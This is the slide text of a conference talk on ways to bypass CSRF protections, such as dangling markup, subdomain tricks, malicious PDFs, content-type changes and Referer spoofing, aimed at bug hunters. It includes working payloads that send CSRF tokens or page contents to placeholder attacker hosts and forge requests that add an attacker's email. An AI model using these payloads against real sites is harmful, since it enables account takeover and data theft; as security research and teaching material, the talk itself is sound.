SlideShare a Scribd company logo
Neat tricks to bypass
CSRF-protection
Mikhail Egorov @0ang3el
 AppSec Engineer @ Ingram Micro Cloud
 Bug hunter & Security researcher
 Conference speaker https://www.slideshare.net/0ang3el
@0ang3el
About me
 CSRF-protection bypasses that worked for me in 2016/2017
 EasyCSRF extension for Burp
Agenda
 A lot of WebApps still use cookies for session management
 CSRF-protection bypasses
 SameSite cookies feature not widely implemented
 Supported only by Chrome and Opera browsers
 Changes are required on the server-side
Why CSRF-attacks works in 2017?
 Will be excluded from OWASP Top 10 Project 2017
 P2 (High) category in Bugcrowd VRT* (App-Wide CSRF)
CSRF in 2017
* https://bugcrowd.com/vulnerability-rating-taxonomy
 CSRF token
 Double submit cookie
 Content-Type based protection
 Referer-based protection
 Password confirmation (websudo)
 SameSite Cookies (Chrome, Opera)
Popular CSRF-protections
 XSS
 Dangling markup
 Vulnerable subdomains
 Cookie injection
 Change Content-Type
 Non-simple Content-Type
 Bad PDF
 Referer spoof
CSRF-protections bypasses
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
CSRF bypasses – still work for me
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
 XSS in WebApp allows to bypass the majority of CSRF-
protections
 Just deal with it!!!
Bypass with XSS (1/8)
 WebApp has HTML injection but not XSS (CSP, …)
 The attacker can leak CSRF-token
Bypass with Dangling markup (2/8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
 Suppose subdomain foo.example.com is vulnerable to
XSS or subdomain takeover or cookie injection
 The attacker can bypass
 CSRF-token protection
 Double-submit cookie protection
 Content-Type based protection
Bypass with subdomain (3/8)
 WebApp uses CORS for interaction with subdomains
 The attacker can read CSRF-token
Bypass with subdomain (3/8)
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
 There is an XSS on foo.example.com
 Main domain contains crossdomain.xml
 The attacker can upload JS files to foo.example.com
Bypass with subdomain (3/8)
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
 The attacker can utilize Service Worker for foo.example.com to
read CSRF-token through Flash
 Amazon CSRF - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
Bypass with subdomain (3/8)
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
 The attacker can inject cookies for parent subdomain and
desired path
 Browser will choose cookie that has specific path (injected
one)
 He can bypass double submit cookie CSRF-protection
Bypass with subdomain (3/8)
 PDF plugin from Adobe support FormCalc scripting
 Adobe PDF plugin currently works in IE11 and Firefox ESR
 get() and post() methods of FormCalc allow to
ex-filtrate CSRF-token
 Kudos to @insertScript
Bypass with bad PDF (4/8)
 Suppose the attacker can upload PDF file to example.com
and share it
 Uploaded file is accessible through API from example.com
 Tip: The attacker tries to upload PDF file as file of another
format (image file)
 PDF plugin doesn’t care about Content-Type or Content-
Disposition headers … it just works …
Bypass with bad PDF (4/8)
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
leak.pdf
Bypass with bad PDF (4/8)
Bypass with bad PDF (4/8)
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-pdf.html
 The attacker can bypass double submit cookie protection
through cookies injection
 Variants of cookies injection
 CRLF-injection
 Browser bugs (like CVE-2016-9078 in Firefox)
 Etc.
Bypass with Cookies injection (5/8)
 Developers seriously assume that non-standard data format
in the body (i.e. binary) stops CSRF
 Sometimes backend doesn’t validate Content-Type header 
Bypass by changing CT (6/8)
Bypass with PDF plugin (6/8)
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �
Bypass with PDF plugin (6/8)
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
https://attacker.com/csrf-thrift.html
 Via HTML forms or XHR api the attacker can send only
“simple” content types
 text/plain
 application/x-www-form-urlencoded
 multipart/form-data
Bypass with arbitrary CT (7/8)
 How to send arbitrary Content-Type header?
 Bugs in browsers (famous navigator.sendBeacon in Chrome)
 Flash plugin + 307 redirect
 PDF plugin + 307 redirect
 Some backend frameworks support URL-parameters to redefine
Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
Bypass with arbitrary CT (7/8)
 Bug in Chrome
https://bugs.chromium.org/p/chromium/issues/detail?id=490015
 Publicly known for 2 years (2015-2017) - WTF!!!
 navigator.sendBeacon() call allowed to send POST request
with arbitrary content type
Bypass with arbitrary CT (7/8)
Bypass with arbitrary CT (7/8)
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
https://attacker.com/csrf-sendbeacon.html
Bypass with arbitrary CT (7/8)
How it works - http://research.rootme.in/forging-content-type-header-with-flash/
Bypass with Referer spoof (8/8)
 Bug in MS Edge kudos to @magicmac2000
https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
 It still works, but for GET requests only 
 Maybe your backend doesn’t distinguish GET and POST
requests? 
Bypass with Referer spoof (8/8)
<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",
"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")
</script>
Bypass with Referer spoof (8/8)
 PDF plugin will send HTTP header
 Some backends (e.g. Jboss / WildFly) treat space as colon
(end of the header name)
Referer http://example.com
Name :Value
Referer http://example.com
Name :Value
Tips for bughunters
 There are a lot of APIs that have CSRF-protection based on
content type
 Check subdomains for vulnerabilities (XSS, subdomain
takeover, cookie injection)
 Trick with PDF uploading works well
 Convert url-encoded body with CSRF-token to JSON format
without CSRF-token
Tips for bughunters
Good news!
We can automate some checks!
EasyCSRF for Burp
 EasyCSRF works for Burp Suite Free Edition, 223 SLOC in Jython
 Download from https://github.com/0ang3el/EasyCSRF
 Works as Proxy Listener (IProxyListener)
 Modifies requests on the fly (removes CSRF parameters/headers,
changes method, etc.)
 Highlights modified requests in Proxy History
 You can visually judge in browser which modified requests are
failed/succeeded (error messages, no modification occurred, etc.)
EasyCSRF for Burp
EasyCSRF for Burp
EasyCSRF for Burp
1. Change PUT to POST method
2. Remove Origin header
3. Highlight request in Proxy history
Neat tricks to bypass CSRF-protection

More Related Content

What's hot

Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
Frans Rosén
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
Mikhail Egorov
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
Avinash Thapa
 
Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictions
Mukesh k.r
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
n|u - The Open Security Community
 
LFI to RCE
LFI to RCELFI to RCE
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
Ismael Goncalves
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
Raghav Bisht
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
Дмитрий Бумов
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
Ivan Novikov
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
n|u - The Open Security Community
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
Mohammed A. Imran
 

What's hot (20)

Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility CloakA Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictions
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
 
LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 

Viewers also liked

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Mikhail Egorov
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
Yaroslav Babin
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille
felixaime
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST API
Mikhail Egorov
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
Mikhail Egorov
 
Ctf hello,world!
Ctf hello,world! Ctf hello,world!
Ctf hello,world!
Hacks in Taiwan (HITCON)
 

Viewers also liked (6)

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
XXE: How to become a Jedi
XXE: How to become a JediXXE: How to become a Jedi
XXE: How to become a Jedi
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST API
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
 
Ctf hello,world!
Ctf hello,world! Ctf hello,world!
Ctf hello,world!
 

Similar to Neat tricks to bypass CSRF-protection

Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
Nahidul Kibria
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
Eoin Keary
 
Browser security
Browser securityBrowser security
Browser security
Uday Anand
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
Nahidul Kibria
 
Browser Security
Browser SecurityBrowser Security
Browser Security
Roberto Suggi Liverani
 
Cross Site Attacks
Cross Site AttacksCross Site Attacks
Cross Site Attacks
UTD Computer Security Group
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
Chris Shiflett
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Magno Logan
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Samvel Gevorgyan
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
n|u - The Open Security Community
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
Lewis Ardern
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
ClubHack
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
amiable_indian
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
Dr Rushi Raval
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
Rob Ragan
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
Brad Hill
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
EC-Council
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Divyanshu
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
Shreeraj Shah
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
Avădănei Andrei
 

Similar to Neat tricks to bypass CSRF-protection (20)

Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Browser security
Browser securityBrowser security
Browser security
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Cross Site Attacks
Cross Site AttacksCross Site Attacks
Cross Site Attacks
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 

More from Mikhail Egorov

A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
Mikhail Egorov
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
Mikhail Egorov
 
New methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applicationsNew methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applications
Mikhail Egorov
 

More from Mikhail Egorov (6)

A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applicationsEntity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
 
New methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applicationsNew methods for exploiting ORM injections in Java applications
New methods for exploiting ORM injections in Java applications
 

Recently uploaded

introduction of Ansys software and basic and advance knowledge of modelling s...
introduction of Ansys software and basic and advance knowledge of modelling s...introduction of Ansys software and basic and advance knowledge of modelling s...
introduction of Ansys software and basic and advance knowledge of modelling s...
sachin chaurasia
 
Safe Work Permit Management Software for Hot Work Permits
Safe Work Permit Management Software for Hot Work PermitsSafe Work Permit Management Software for Hot Work Permits
Safe Work Permit Management Software for Hot Work Permits
sheqnetworkmarketing
 
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
Roshan Dwivedi
 
Leading Project Management Tool Taskruop.pptx
Leading Project Management Tool Taskruop.pptxLeading Project Management Tool Taskruop.pptx
Leading Project Management Tool Taskruop.pptx
taskroupseo
 
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
ThousandEyes
 
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdfResponsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Trackobit
 
Google ML-Kit - Understanding on-device machine learning
Google ML-Kit - Understanding on-device machine learningGoogle ML-Kit - Understanding on-device machine learning
Google ML-Kit - Understanding on-device machine learning
VishrutGoyani1
 
A Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdfA Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdf
kalichargn70th171
 
Prada Group Reports Strong Growth in First Quarter …
Prada Group Reports Strong Growth in First Quarter …Prada Group Reports Strong Growth in First Quarter …
Prada Group Reports Strong Growth in First Quarter …
908dutch
 
MVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptxMVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptx
Mitchell Marsh
 
Folding Cheat Sheet #7 - seventh in a series
Folding Cheat Sheet #7 - seventh in a seriesFolding Cheat Sheet #7 - seventh in a series
Folding Cheat Sheet #7 - seventh in a series
Philip Schwarz
 
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
karim wahed
 
Development of Chatbot Using AI\ML Technologies
Development of Chatbot Using AI\ML TechnologiesDevelopment of Chatbot Using AI\ML Technologies
Development of Chatbot Using AI\ML Technologies
MaisnamLuwangPibarel
 
dachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdfdachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdf
DNUG e.V.
 
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdfIndependence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Livetecs LLC
 
dachnug51 - HCL Sametime 12 as a Software Appliance.pdf
dachnug51 - HCL Sametime 12 as a Software Appliance.pdfdachnug51 - HCL Sametime 12 as a Software Appliance.pdf
dachnug51 - HCL Sametime 12 as a Software Appliance.pdf
DNUG e.V.
 
NYC 26-Jun-2024 Combined Presentations.pdf
NYC 26-Jun-2024 Combined Presentations.pdfNYC 26-Jun-2024 Combined Presentations.pdf
NYC 26-Jun-2024 Combined Presentations.pdf
AUGNYC
 
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
onemonitarsoftware
 
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Asher Sterkin
 
ANSYS Mechanical APDL Introductory Tutorials.pdf
ANSYS Mechanical APDL Introductory Tutorials.pdfANSYS Mechanical APDL Introductory Tutorials.pdf
ANSYS Mechanical APDL Introductory Tutorials.pdf
sachin chaurasia
 

Recently uploaded (20)

introduction of Ansys software and basic and advance knowledge of modelling s...
introduction of Ansys software and basic and advance knowledge of modelling s...introduction of Ansys software and basic and advance knowledge of modelling s...
introduction of Ansys software and basic and advance knowledge of modelling s...
 
Safe Work Permit Management Software for Hot Work Permits
